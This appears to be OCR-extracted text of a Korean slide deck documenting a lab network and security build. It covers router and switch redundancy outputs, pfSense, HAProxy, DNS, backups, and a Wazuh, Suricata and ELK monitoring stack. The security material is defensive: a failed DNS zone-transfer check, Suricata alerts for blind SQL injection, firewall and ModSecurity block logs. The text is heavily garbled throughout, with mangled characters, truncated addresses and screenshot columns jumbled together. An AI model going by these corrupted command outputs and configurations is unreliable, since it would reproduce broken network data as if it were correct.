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30..64.0/24
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172.16.19.1
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10.10.0.0/24
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fswi# show glbp brief

Grp Fwd Pri State Address

10 - 120 Active 30.1.128.20¢
10 1 - Active 0007 .b400.0a01
10 2 - Listen 0007 .b400.0a02

Active router

local
local

Standby router

Grp Fwd Pri State Address

10 - 100 Standby 1.128.7

18 1 - Listen 0007.b4060.0a01
10 2 - Active 0007 .b4060.0a02

Active router

local

Standby router
local

GLBP
AVG(Active), Standby 2fEf
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=AHO SR AFE/DMZ)

SH NAT U S5 NAT At
Ecfq Hehhit) S =27ts

ZF QIE{ 1| O] 2 (outside, inside, dmz) 0| & & =l
ACL S X1} global 2 A0 22 =29 75

1 (outside) to (inside) source static outl outl destination
INSIDE-NET

translate_hits = 4777, untranslate_hits = 6845
2 (outside) to (inside) source static out2 out?
INSIDE-NET

translate_hits = 6, untranslate_hits = b
3 (outside) to (inside) source static out3 out3
INSIDE-NET

translate hits = 1864, untranslate hits = 5887
4 (outside) to (inside) source static outd4 outd
INSIDE-NET

translate_hits = 29, untranslate hits = 29

destination
destination

destination

Auto NAT Policies (Section 2)
(outside) to (inside) source static s4 172.16.8.29
translate_hits = B8, untranslate_hits = 8
(outside) to (inside) source static s1 172.16.254.33
translate_hits = 2, untranslate_hits = 16
(outside) to (inside) source static s2 172.16.254.55
translate hits = B, untranslate hits = 8

(outside) to (inside) source static s3 172.16.254.66
translate_hits = 21, untranslate _hits = 8

(inside) to (outside) source dynamic INSIDE-NET interface
translate _hits = 217368, untranslate_ _hits = 12982
ASAV1s# _

INSIDE-NET

static INSIDE-NET

static INSIDE-NET

static INSIDE-NET

ASAV1# sh running-config access—-group
access—group OUTSIDE_IN in interface outsi
access—group inside_access_in in interface

de
inside

access—group DMZ_access_in in interface dmz

access—group global_access global
ASAV1#
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IDCERLER 1

GLBP

150 Active 192.168.40. 7
- Listen 0007.b400.0101 192.1
s - Active 0007.b400.0102 local
vilan 40 Active

State Active router Standby router
Active  192.16¢ local | 3. S
Listen 0007.b400.0101 192.168.50.2 -

vian 50 Active Active 0007.b406.0103 local -

State Address Active router Standby router

Standby 192.168.40.: 192.168. 4¢ local

Active 0007.b400.0101 local -

Listen 0007.b406.6102 192.1
vlan 40, 50 Standby standby 192.168.: 192. 1

Active 0007.b400.0101 local

Listen 0007.b406.06103 192.1

local




IDCERLER 1

Source Ports
Both
Dest RSPAN VLAN

Remote Source Session

0-1

100

Session 1

Source Ports
Both
Dest RSPAN VLAN

Remote Source Session

: G106/0-1
100

Session 1 Session 1

: Remote Destination Session

Source RSPAN VLAN : 100 Source Ports

Destination Ports : G11/¢ Both
Encapsulation : Native Dest RSPAN VLAN

Remote Source Session

100




IDCERLER 1

port-channe ‘ - n port-channe

stand-alone s - suspended stand-alone s - suspended

Hot-standby (LACP only) Hot-standby (LACP only)

Layer3 S - Layer2 Layer3 S - Layer2

1n use N - not 1n use, aggregation 1n use N - not 1n use, aggregation
to allocate aggregator to allocate aggregator

not in use, minimum links not met not in use, minimum links not met

not in use, port not aggregated due to minimum links not met not in use, port not aggregated due to minimum links not met
unsuitable for bundling unsuitable for bundling

waiting to be aggregated waiting to be aggregated

default port default port

formed by Auto LAG formed by Auto LAG

umber of channel-groups in use: 1 umber of channel-groups in use: 1
umber of aggregators: 1 umber of aggregators: 1

roup Port-channel Protocol Ports roup Port-channel Protocol Ports

Pol(SuU)
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IDCERHIEN 2

EIGRP 300

VLAN 10
fc00:1001::/64

VLAN 20
fc00:1002::/64

ES

fc00:3::/64



IDCERHIEN 2

Pvb Routlng Table - Detault - 8 entries

C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP M - MIPv6, R - RIP, I1 - ISIS L1
| ISIS L2, IA - ISIS interarea, IS - ISIS summary, D - EIGRP
EX - EIGRP external
0 - OSPF Intra, O0I - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2

FCOO:1::/64 [1/0]

via Tunnel119, directly

FC00:2::/64 [1/0]

via Tunnell119, directly coi

FC0O0:3::/64 [1/0]

via Tunnell119, directly connected
FC00:1001::/64 [0/6]

IPVG via FastE =1t0/0.10, directly
FCOO:lOOl

1/128 [0/0]

. via Fast et0/0.10, receive
FCOO:IOOZ /64 [O/O]
(6 to 4 Tunneling) bt oL
FCOO: 1002 1/128 [0/0]
via F et0/0.20, receive
IPve LS 2t+ 2 H|O|= 22l | Froo::/s (0/0]

via Nulle, receive




IDCERHIEN 2

VRRPv3

Master2} Backupa Ef

2} O]

=1

—

b1tEth t0/1 - Group 1 - Address-Family IPv6
State is
State duration 20 hours 40 mins 40 secs
Virtual IP address is FE80::1
Virtual secondary IP addresses:
FC00:3::3/64
Virtual MAC address 1s 0000.5E00.0201
Advertisement interval i1s 1000 msec
Preemption enabled, delay min 60 secs (0 msec remaining)
Priority i1s 150
Track object 1 state UP decrement 60
Master Router i1s FE80::E6A:E8FF:FE4B:1 (local), priority is 150
Master Advertisement interval is 1000 msec (expires in 39 msec)
Master Down interval is unknown

bitEthernet0/1 - Group 1 - Address-Family IPv6
State ism
State duration 20 hours 45 mins 2 secs
Virtual IP address i1s FES80::1
Virtual secondary IP addresses:
FC00:3::3/64
Virtual MAC address 1s 0000.5E00.0201
Advertisement interval 1s 1000 msec
Preemption enabled, delay min 60 secs (0 msec remaining)
Priority is 90
Track object 1 state UP decrement 60
Master Router 1s FE80::E6A:E8FF:FE4B:1, priority 1is 150
Master Advertisement interval i1s 1000 msec (learned)
Master Down interval 1s 3648 msec (expires in 2956 msec)




IDCEHLC) 2

Spanning tree
Root ID Pri

Spanning tree protocol 1ieee
Root ID Priority 8192
Address c406.13a0.0001
Cost 19
Port 42
Hello Time 2 sec Max Age 20 Forward Delay 15

Forward Delay 15

Bridge ID Pri
Address :
Hello Time : ax Age 20 sec Forward Delay 15
Aging Time

Bridge ID Priority 16384
Address c405.4850.0000
Hello Time 2 sec Max Age 20 Forward Delay 15
Aging T 300

Intertace Des ignated

Po ’rio C Sts Cost Bridge IC Port ID Interface

Port ID Prio Cost Sts ; ) Port ID

128.41 128 ) : 8192 c406.1 0001 .41
128.42 128 1f D 8192 c406.1 0001 .42
128.46 128 1¢ D 8192 ¢ 0001 128.46

8192 c406.13a0.
6384 c405.4850.

Sw2#show ! vian 20 brief SWi#show spa ee vlan 20 brief

Spanning tree Spanning tree protocol 1ieee
Root ID Priority 8191
Address c406.13a0.0002
Cost 19
Port 43 |
Hello Time 2 sec Max Age 20 Forward Delay 15

Root 1ID Pra

Forward Delay 15

Bridge ID Priority
Address
Hello Time
Agwng Tume

Bridge ID Priority 16384
Address c405.4850.0001
Hello Time 2 sec Max Age 20 Forward
Agung T 0

Interface ted
Port ID Prio Cost ridge ID Port ID

Port ID Prio C¢ S C( 1dge ) Port ID

.41
.43
.47

P
(¢ B R

»
NN

128.43 1 8191 c406.13a0. 128.43
128.45 1 6384 c405.4850. 128.45

Secondary

STP

Root2} Secondary 22| X| Z2}9l
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RIPv2

NAT(PAT)

SWIG

192.168.60.0/24

N

Cloydi13

RED Ubuntu

BR
0030/26

B0.0..0/24 g

MUL
60.0.0.0/24

-

viani0 : 60.210.0/24
vlan20: 60.2.20.0/24
vian30 : 60.2.30.0/24

vlanli0

SW39

viani0
SW4a3

vlanl0

SwW40

viani0

Swial

vianil
SwWias

sl

60.3.10.0/24

60.4.2.0/24

60.4.0.0/24

Cloud2

PFSense

e,
2N

vianil
SWwaz2

Sle.
P

7

~

vlan20
vlan30

/

VTP

60.4.254.0/24

vlani0: 60.4.10.0/24
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FHRP (HSRP)

Active, Standby & Elf 292l

SW46#sh standby bri
P indicates configured to preempt.
|
Interface Grp Prio P State Active Standby Virtual IP
viie 106 120 Active .4.10.: 4.10.2
Sw46#sh standby
10 - Group 10 (version 2)
State 1s Active
2 state changes, last state change 02:59:30
Virtual IP address 1is .4
Active virtual MAC address is 0000.0c9f.f00a
Local virtual MAC address is 0000.0c9f.fe0a (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 2.780 secs
Preemption disabled
Active router is local
Standby router 1is .4.10.253, priority 100 (expires in 8.552 sec)
Priority 120 (conflgured 120)
IP redundancy name is "hsrp-V110-10" (default)

standby bri
P indicates configured to preempt.

|
Interface Grp Prio P State Active Standby Virtual IP
110 10 100 P Standby .4.10.254 local .4.10.:
SW47#sh standby
10 - Group 10 (version 2)
State 1s Standby
1 state change, last state change 03:02:24
Virtual IP address 1is A
Active virtual MAC address is 0000.0c9f.fe0a
Local virtual MAC address is 0000.0c9f.fo0a (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 1.520 secs
Preemption enabled
Active router 1s .4.10.254, priority 120 (expires 1n 7.268 sec)
Standby router 1is local
Priority 100 (default 100)
IP redundancy name is "hsrp-v0110-10" (default)




VTP Vers1ion - 7
Configuration Revision S
Maximum VLANs supported locally : 68

Number of existing VLANs : 8
VTP Operating Mode :
VTP Domain Name : C1SCO

VTP Server

SW44#sh vitp status

VTP Version

Configuration Revision

Maximum VLANs supported locally
Number of existing VLANSs

VTP Operating Mode

VTP Domain Name

VTP Client

vip status
P Version 2 7
onfiguration Revision : 0
aximum VLANs supported locally : 68

umber of existing VLANs : 8

P Operating Mode :

P Domain Name : C1S5CO

VTP Transparent



umber of channel-groups in use: 1
umber of aggregators: |

roup Port-channel Protocol Ports
------ B e e e e e o e
1 Pol(SU) LACP Et0/0(P) EtO/1(P) Et0/2(P)

Et0/3(P)

OI E‘l xH Lé-l Number of channel-groups in use: 1

Number of aggregators: 1

Group Port-channel Protocol Ports
AO|%|7 - I - - - - - - #ocoooememeeee L et e e e e e
_—|—|X| |—|- LACP E = 1 Pol(SU) LACP Et0/0(P) Et0/1(P) Et0/2(P)

ILE XH Lé-l (SU))é)I'EH §||-O| | Eto/3(P)

L—
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HIQITHIO X

Router Monitor 3
B E . : ® online 4
Logged in as: admin (admin)

o T 1 2L I ® pol: S5s @ ping all B logs
Command Center H=aN/OuT)

Overview - CCP / MRTG =&

© Navigation shortcuts E] GNS3 Map project: © refresh canvas ~ ~ interactive map

= Device Dashboard

B Run Logs

w Outputs Explorer ol ;__/

WIN 10WIN 10 ——

EIGRP 300

outputs:

logs: PFSense

© Auto Refresh status

7

¥ Overview XS 244l g “H EIGRP 200
* ZH| 22i/r2/EdE =X el

R1§ 530

Logged in: admin (admin)
Inside

D
PFSense

ASMail




CHA| 2

«# ESW10 Dashboard

ZHH| 212 sh_run - TtZ 37§ - IFACE: 7 up / 13 down - ip int br: 2026-03-09 20:00:03

Show Run IP Int Brief Back Up

B Files ® dick to preview

@ Collect ip int br B Run Logs @ Ping 88.88 @ Logged in: monitor

Tip: Auto Refresh {3 Interface M Hi7t 2A|ZIC = HHE

2 search

%9 Preview SAZOfA] I M=
ZIZH M DES MEHE.
main_show run.t MAIN

© 2026-03-02 191249 \ 18KB

status.json
© 2026-03-09 202040 \ 02KB

[3] 0421 &H[2] show running-configE €& =&
20260309-202028 show_run.txt S

© 2026-03-09 202028 \ 21 KB [4] backup.txt01| M2 Hed S XHH| 0] M &




Interface Control
®ur7 ® DOWN 6 ® UNKNOWN ® ipint br. 2026-03-02 221051

@ CLI Console done (81 ) Interface
SwopuiLs 1 ® pown  FastEthernet0/0

line aux © v Serial1/0
exec-timeout © 0 Serial1/1
privilege level 15

DowWN  Seriall/2

logging synchronous
stopbits 1 pown  Serial1/3

line vty @ 4 uP
login local =

transport input ssh
!

up

end

R12#

RRRRRRRRRR

CLI 2= QIE{m|O| A &Elf / =7
SSH / Telnet



Log file

auto_push._log

flask app.log

28268384-823118 R12 collect ipinthr_log
28268383-111884 FSWS collect ipimthr_log
28268383-111885_ESWS collect ipimtbr_log
28268383-111805_ESWS Fastfthernetl-7 uwp.log

20268383-111084 ESWS Fastfthernetl-6 uwp.log

B Traffic online

2 In/Out (bps) - 5s 714

D '_l




auto push_log
ASA1 log
R12_log
ESeill._log
ESWS._log
ESW18. log
ESW12.log
ESWS2_log

20268399-184558 ASA1 collect ipimtbr.log

flask app_log

ASA1_log- 26268386

RSYSLOG L} M/Hd 2=
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DNS server Zabbix @ ELK

pfSense

2 (6

60| E{ MIE D)

= 2 B a & = 30 =

A2pc EEpC c2

Suricata

xs) —
=
@ DNS server

pfSense

OMZ(Server Ear master
DB (2BLE) pfSense I: ': E
-— @ g E TEPC FEPRC pydio
N— DNS server % & Mail
o DB (2) =IFS Rocky Web server L
J— HA proxy(Active) C(HEE)
—
= = _
backup DB (DB) Mail E
Gateway ¥_
N— Web server
— Rocky
backup DB (DNS)

HA proxy(Standby)
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wapy Replication DB

dojs =3

<' DB (replica)
@ pfSense DMZ(Server Farm

’ | —
—
Rocky Web server

HA proxy(Active) /'

Active At Tt A >
Standby?t 273 X2]
Web server

Rocky
® HA proxy(Standby)
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pfSense SH|0[X] F

Crs
=

pfsense blacklist 27

Status / Dashboard +0
System Information FOO Netgate Services And Support @0
Hame plSense home.arpa
+
User admin@30.3.30.7 (Local Database)
System Yiiware Virfual Machine o
Netgate Device I Sbe9d551ae86a39¢05c0
Interfaces
vwcor row Tedamloghe D
Wersion: 6.00 RN T 1000baseT «full-duples: 30,302
Releaze Date: Thu Nov 12 2020
.-:-. LAN T 1000baseT <hull-dupleys 30,310
Version 2.7.2-RELEASE (amdid)
built on Wed Dec 6 14:10:00 C5T 2023
Free850 14.0-CURRENT
Qbtaining update status L+
CPU Type Intel(R) Core{TM) (57400 CPU [@ 3.00GMz
AES-NI CPU Crypto: Yes (inactive)
QAT Crypio: No
Hardware crypto Inactive
Kernel FTI Enabled
MDS Mitigation Inactive
Uptime 2 Days 07 Hour 24 Minutes 00 Second

rasrant dataitima

Eri klar h e BETR FET TNTR

290 Matched Firewall Log Entries. (Maximum 500) Pause m

Action Time

X

2 M M

Mar 6075338

Mar 607.53.39

Mar 607.53:41

Mar 607.53.42

Mar 6 07.53.43

Interface

WAN
WAN
VAN
WAN

WAN

Source

172.16.28.140

172.16.28.140

172.16.28.140

172.16.28.140

17216.28.140

Destination
303.10.1
303101
30.3.10.1
30.3.10.1

30.3.10.1

Protocol

ICMP
ICMP
ICMP
ICMP

ICMP




Active

[rootPUS-hal-Rocky-wz haproxylt ip a
1! lo: <LOOPBACK,UP,LOWER _UP> mtu 65536 gqdisc noqueue state UNKNOWN group default glen 1888
link7loopback HHBH:BH 8088 B8 brd BH: BH B4 B8 1BH 1 BH
inet 127.8.8.1/8 scope host lo
valid_Ift forever preferred_Ift forever
inetb ::1-/148 scope host
valid_Ift forever preferred _Ift forever

Z: enslod: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1588 gdisc mgq state UP group default glen 1888
linksether BB 29:62:75:60 brd 10011
altname enpisH
imet 38.3.38.4/24 brd 38.3.38.255 scope global nopref 1xaoute
walid Ift forever areferred IF L Forewver
inet 38.3.38.9/£44 scope global secondary enslbd
Jal1a_1T et 1orewr prererrea_ir o rorewr
ineth feBB: (Z2B8c: 2911 febe 7566764 scope 1link nopref ixroute

Stanby

LrootPUS-had-Rocky-wz I8 1p a
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1888
| ink7loopback HH:BH:HH:HH:BH:88 brd HH:HH :BH 8484 88
inet 127.8.8.1/8 scope host lo
valid_Ift forever preferred_Ift forever
inetb ::1/128 scope host
valid_Ift forever preferred_Ift forever

enslbod: <{BRUADCAST,MULTICAST,UP,LOWER _UP> mtu 1588 gdisc mg state UP group default glen 1888
link7ether 88:8c:29:081 :72:d3 brd L ff:F0 00000
altname enpisH
inet 38.3.38.5/44 brd 38.3.38.255 scope global nopref ixroute enslbd
valid Ift forever preferred Ift forever
inet 38.3.38.9/24 scope global secondary ensloH
Vallid_I1T € 10rewcr preicrred it T 1 0reWwer
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ENTER SYSTEM

SYSTEM LOGIN



DB Replica 1= &1t

Master DBO| A Slave =

MariabDB [(none)]> show processlist;
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Rsync, Crontab, SQL dump

EMS
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backup DB (DNS)

Roc
HA proxy(Active)
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Rocky
HA proxy(Standby)

Web server

Web server

@

DNS server
master




A AH A= 20

root@CA-bb-Ubuntu: /backup# ls

r00t@CA-bb-Ubuntu: /backup# cd 2026-02-23
root@CA-bb-Ubuntu: /backup/2026-02-23# s

root@CA-bb;Ubuntu:/backub/2026-02-23# éd i
root@CA-bb-Ubuntu: /backup# cd 2026-02-24
root@CA-bb-Ubuntu: /backup/2026-02-24# s
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Pydio AMH|A
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m Download Open =~ Share More ~
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DNS AfH L= 21k

Slaved] better.com.zone &4 =HEI

[ront@IS cAd-Barlky .-._.].# ls /var/named/
" e . | - e el
better.com,zone named.ca named.empty named. t named. loopback

| root@s-sd-Rocky ~1# §
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I Name a

CA-bb-Ubuntu

CA-cc-Rocky

CA-su-Rocky

US-cc1-Rocky

US-cc2-Rocky

US-gm-Rocky

US-ha1-Rocky

US-ha2-Rocky

US-mb-Ubuntu

US-md-Rocky

US-pm-Rocky

US-sb-Ubuntu

US-sc-Rocky

US-sd-Rocky

US-wp1-Ubuntu

US-wp2-Ubuntu

Interface

192.168.50.6:10050

192.168.50.4:10050

192.168.50.5:10050

192.168.40.2:10050

192.168.40.3:10050

30.3.30.6:10050

30.3.30.4:10050

30.3.30.5:10050

192.168.30.5:10050

192.168.30.4:10050

192.168.30.2:10050

192.168.30.3:10050

172.16.23.110:10050

30.3.20.2:10050

30.3.30.2:10050

30.3.30.3:10050
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Mu| 23 24 (Logstash HH))

rule.description

Rows per page: 50 v

log.file.path x « 2

/var/log/messag -

es

/var/log/messag -

es

2253121 documents

location message

Mar 5 @87:2
2:14 US-ha2
-Rocky-dmz

systemd[1]:
server-monl

TOor.servic
g' Schedule

Mar 5 87:2
2:14 US-ha2

-Rocky-dmz

1 of 10 )




Hoh
FailZ2Ban

Fail2ban AFTfE2t

root@US-wpl-Ubuntu-dmz:~# fail2ban-client status sshd
Status for the jail: sshd
| - Filter
| |- Currently : O
| |- Total f{ : 25
| " - Journal matches: SYSTEMD UNIT=sshd.service + COMM=sshd
- Actions
| - Currently banned: 1

! Tt~ A ® .

- Banned IP list:

FOOLWUS=wWpl-uudlnitu=-ums . ~» m
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Portsentry

Portsentry €2




HoH)

ModSecurity

Z26/03/05 06

-

6/03/05 06

2026/03/05 06:0C

~H2BE/ 853/, 95 Bh: 16

P26/83/05 067

on ftalse 1in

Stack trace:
O imainj
thrown in

P71, 1

2026/93/05 06

—

:905:40
:95:491 lerrc

lerror)

error

svar/uwvw/html/main/upload_pros
fastcegi://unix:
error)

2026/83/05 06 :;

J

[error]

1173170#11731790: %55 access forbidden by rule,

3179: %55 access forbildden by rule,
1173171#1173171: %54 access tforbidden by rule
11/31 7181175171 %119 directory index ot
nost:

1173171#1173171: %155 FastCGI sent in stderr:
svar/unw/html/main/upload_proc.php:46

c.php on line 46

svar/run/php/-phps8.3-fpm.sock :
118471081184719: %1 access forbidden by rule,

1184710#1184719: %1 access forbildden by rule,




HoH)

pfSense

pfsense blacklist 23

290 Matched Firewall Log Entries. (Maximum 500) Pause @

M X X XX X

Tams

Wae & 0753738
Wae & 073373
Mar 6075341
Mar 6075342

Mar 6075343

Irteeface
LN
WAN

Wil

WA

Wi

Soure

1/7216.28.180
171028, 18]
172.16.28. 140
172.16.28.140

1721628, 140

Destination
30.3.10.1
J0.4.10.1
30.3.10.1
30.3.10.1

30.3.10.1

ICMIP

ICMAF

ICMIP

ICMP

ICMP




L=y
DNS Key

AXFR 37 of 43

~

better.com axfr

s+ <<>> Di1G 9.20.11-4+b1-Debilan <<>> better.com axfr
++ global options: +cmd
+ Transter failed
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A = el or= /%

MBI AJH]AD}OJO{X] 1,
HA Proxy, DNS, Replica, Backup

A} LS B0 I ps3iH,

HOt 2HO XJ|0) = Lo|oglE 1k

Fail2Ban, Portsentry, ModSecurity, pfSense

AH|A
Pydio, Mail, Guacamole, Zabbix, ELK

X2t
Ansible
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Monitoring & Control Architecture
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Monitoring & Control Architecture

Agent
wazuh-agent
audit
suricata
mod_security

Agent
wazuh-agent
audit
suricata
mod_security

HlEQ|a A 211 ¢§'J

Agent

wazuh-agent
Rsyslog
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Monitoring & Control Architecture

Manager
Wazuh-manager
filebeat(A)
filebeat(B)

HlEQ|a A 211 ¢§'J

Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security



LK O |HIN S 2

Monitoring & Control Architecture

wazuh-dashboard
wazuh-indexer

.,
/

l Tt g S ‘
’ Manager

Wazuh-manager
filebeat(A)
filebeat(B)

HlEQ|a A 211 4@:]

Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security
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Monitoring & Control Architecture

SOC
wazuh-dashboard
wazuh-indexer

Logstash
/ logstash

Manager
Wazuh-manager
filebeat(A)
filebeat(B)

HlEQ|a A 211 4@:]

Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security
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Monitoring & Control Architecture

EMS

kibana

elasticsearch
B ‘ﬁ
SOC

wazuh-dashboard
wazuh-indexer
otz J

Logstash
‘ / logstash
Manager

Wazuh-manager
filebeat(A)
filebeat(B)

HlEQ|a A 211 4@:]

Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security
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Monitoring & Control Architecture

root@agent & | I ' : ' I 1s
suricata.rules
root@agent- . ‘ o »p® systemctl status suricata
@ suricata.service - Suricata IDS/IDP daemon
Loaded: loaded (/usr/lib/systemd/system/suricata.service; enabled; preset: enabled)
Active: active (running) since Mon 2026-03-09 15:13:28 UTC; 1min 19s ago
Docs: man:suricata(8)
man:suricatasc(8)
https://suricata. 1o/documentation
Process: 3559 ExecStart=/usr/bin/suricata -D --af-packet -c /etc/suricata/suricata.ya
Main PID: 3560 (Suricata-Main)
Tasks: 8 (lumit: 4543)
Memory: 46.8M (peak: 47.1M)
CPU: 801ms
CGroup: {iystem sllce/surlcata serv1ce

{"timestamp":" ","flow_1d":2224311968768711, " in_1iface":"ens33","event_type":"alert","src_ip":"
“signature_id”: ,"rev':1,"signature":"Blind SQL1 - High Frequency Requests“,“category“:“Attempted InformatLon Leak","severtity"
es_toserver":391,"bytes_toclient":423,"start": "« “src_ip":" dest SpE: S nShCH
{”tlmestamp”'“ ", "flow_1d":2224311968768711,"in_ Lface”'"ens33“ "event type "aler t” "src_ip": " ks
"signature_1id": ”rev“'l,“51gnature”°“Bllnd SQL1 - High Frequency Requests”,“category“'”Attempted Informatxon Leak",“severlty“
es_toserver":457, bytes toclient":489,"start" . "src_1ip" "dest_1p" "src_

[root@agent : ~]# systemctl is-active wazuh-agent
actiwve
[root@agent : ~ ]# . s " .

wazuh-agentd: INFO Using AES as encryptlon method.
wazuh-agentd: INFO: (4102): Connected to the server ( :1514/tcp).

| M =24 =Y B 2047 |
Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security
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Monitoring & Control Architecture root@manager: # systemctl is-active filebeat-a filebeat-b
active
active
root@manager

:output.elasticsearch:
hosts: ["https://172.16.254.33:9200"]
ssl.certificate_authorities: ["/etc/filebeat-a/certs/indexer-root-ca.pem"]
ssl.verification_mode: full

:output.logstash:

: hosts: ["172.16.254.66:5044"]
ssl.enabled: true
ssl.certificate_authorities: ["/etc/filebeat-b/certs/logstash-ca.crt"]
ssl.verification_mode: full

oHCh & SHY
Manager
Wazuh-manager
filebeat(A)
T filebeat(B)
| M2 4 | | S SR E=r]
'Agent ‘Agent 'Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security mod_security
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300000
250000
S 200000
§ 150000
100000
S0000
0
06:00 09:00 12:00 15:00 18:00 21:00 00:00
timestamp per 30 minutes
Time agent.hostname rule.level rule.groups rule.description
3 Mar 1@, 2626 @ 83:83:13.892 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
) Mar 1@, 2826 @ 83:83:13.891 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
3 Mar 168, 2826 @ 83:03:12.677 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
) Mar 18, 2826 @ 83:83:12.876 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
) Mar 18, 2826 @ 83:83:12.883 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
3 Mar 1@, 2826 @ 83:83:11.631 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
3 Mar 1@, 2626 @ 83:83:11.628 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests
3 Mar 18, 2826 @ 83:03:11.625 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQOLi - High Frequency Reguests
HOF x|
) Mar 1@, 2826 @ 83:83:11.623 manager-u-test 3 ids, suricata Suricata: Alert - Blind SQLi - High Frequency Requests

SOC
wazuh-dashboard
wazuh-indexer

/

| miCH g St ‘

Manager

Wazuh-manager
filebeat(A)
T filebeat(B)

L Mp 271 A7 | |

‘Agent

SRR ERES])

=
=]
=

Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog

suricata
mod_security

suricata
mod_security
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HOt 2Hx| ‘@
SOC

wazuh-dashboard
wazuh-indexer

[root@logstash-r ~]# @i BT - 1
: hosts => ["https://172.16.254.55:9443" ]

[root@logstash u
# Keep only system stream from filebeat-b.
if

tag on_
1f [syslog timestamp] {
match => ["syslog_tumestamp", "IS08601", "MMM d HH:mm:ss", "MMM dd HH:mm:ss"]
syslog_message] {
ace => { "message" => "%{syslog_message}" }
syslog_program]
lowercase => ["syslog program" ]
1f [syslog ]
drop {}
drop {}

/etc/logstash/certs/es-proxy-ca.crt"
certificate verification => true

S SR E=r]

ot2
Logstash
/ logstash
| T g S
Manager
Wazuh-manager
filebeat(A)
filebeat(B)
Agent Agent Agent
wazuh-agent wazuh-agent wazuh-agent
audit audit Rsyslog
suricata suricata

mod_security

mod_security
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Monitoring & Control Architecture

NICTE

EMS
kibana
elasticsearch

wazuh-dashboard
/ wazuh-indexer

/ Logstash
logstash
| Tt g, S ‘

Manager

Wazuh-manager
filebeat(A)
filebeat(B)

= . Discover .~ Options New Open  Share Inspect ] Save
[5) ~ Search KQL (D ~ Last 15 minutes Show dates C Refresh
©  + Add filter
manager* - sas <= 114 hits & Chart options
QU Search field names a0
Filter by type 0 v @
) ——
v Available fields 24 ¢ 04°:07:00 00 04°:03:00 04:04:00 04 04:09:00

Popular
t _id

# _score

t _type

-

_index

B @timestamp

-

@version

-

-

agent.hast

-

agent.id

-

agent.nam

-

agent.type

’+S

AH 23

|
=

4

Agent
wazuh-agent
audit
suricata

mod_security

Agent

wazuh-agent
audit
suricata
mod_security

| yseamu=as

agent.ephemeral_id

name

e

x|
=]

Agent

wazuh-agent
Rsyslog

Time |

> Mar 18,

> Mar 18,

> Mar 18.

2626 @ B4:89:33.668

2626 @ B4:89:19.985

2026 @ B4:99:17.248

Document

Mar 10, 2026 @ 03:54:48.098 - Mar 10, 2026 @ 04:09:48.098

Btimestamp: Mar 18, 2826 @ B4:89:33.608 @version: 1 agent.ephemeral_id: c¢7964f85-9122-447e-951d-23a35fddeb%2 agent.hostname: manager-u-test agent.id: 92fc4e8f-dc97-4629-a5f7-
4cfcedal3feé4 agent.name: filebeat-b-system-logstash agent.type: filebeat agent.version: 7.1@.2 ecs.version: 1.6.8 host.name: filebeat-b-system-logstash input.type: log
log.file.path: /var/log/syslog log.offset: 2,948,463 message: 2626-83-89T19:89:33.5997#011INFO#8111log/harvester.go:333#811File is inactive: /var/log/kern.log. Closing because

close_inactive of 5m8s reached.

Jvar/log/kern.log. Closing because close_inactive of 5m8s reached.

syslog_program: filebeat[11398]

stream: system syslog_host: manager-u-test syslog_message: 2826-83-89T719:89:33.599Z#811INFO#8111og/harvester.go:333#811File 1s inactive:
syslog_timestamp: Mar 18, 2826 @ B84:69:33.68@8 tags: system, monitoring

Btimestamp: Mar 18, 2826 @ B4:89:19.985 @version: 1 agent.ephemeral_id: c¢7964f85-9122-447e-951d-23a35Tddeb%2 agent.hostname: manager-u-test agent.id: 92fc4e8f-dc97-4629-a5f7-
4cfeedal3fe4 agent.name: filebeat-b-system-logstash agent.type: filebeat agent.version: 7.18.2 ecs.version: 1.6.2 host.name: filebeat-b-system-logstash input.type: log
log.file.path: /var/log/syslog log.offset: 2,947,389 message: 2826-83-89T19:69:19.9847#811INFO#811[monitoring]#8111og/log.go:145%#811Non-zero metrics in the last

38s#@11{"monitoring”: {"metrics”: {"beat”:{"cpu”:{"system”:{"ticks":616@,"time":{"ms":9}}, “total":{"ticks":108868, "time":{"ms":9}, "value":18868}, "user”:{"ticks":4788}}, "handles":

{"limit":{"hard" :65536, "soft" :65536}, "open":12}, "info" : {"ephemeral_id" : "c7964f85-9122-447e-051d-23a35fddeba2", "uptime"

AEima et amn
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Automation Architecture Diagram

wazuh-agent 315
audit 1=
suricata &

= Ml B

QUZ M BHE

s AAS
SAEHZ

. -

I}OHLHHJ
> yx
|m _>_.i
2 oM
o_>io

4

Agent

wazuh-agent
audit

suricata
mod_security

wazuh-manager 1= =
filebeat(A)1+= =
filebeat(B)1= ‘
QIZA MY o HE

Manager
Wazuh-manager
filebeat(A)
filebeat(B)

2

jo= =

J

DBMS

2| AE NE

\

MySQL

\

SoHa|AE Ofx
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Automation Architecture Diagram

TASK [DB & I} U A 4 ] kskkskokokkokokdoksoksoksokskoksksk sk sk skdok ok okok ok ok ook ok ook ok ook ok ok %
changed: [localhost] => (1item=suricata)
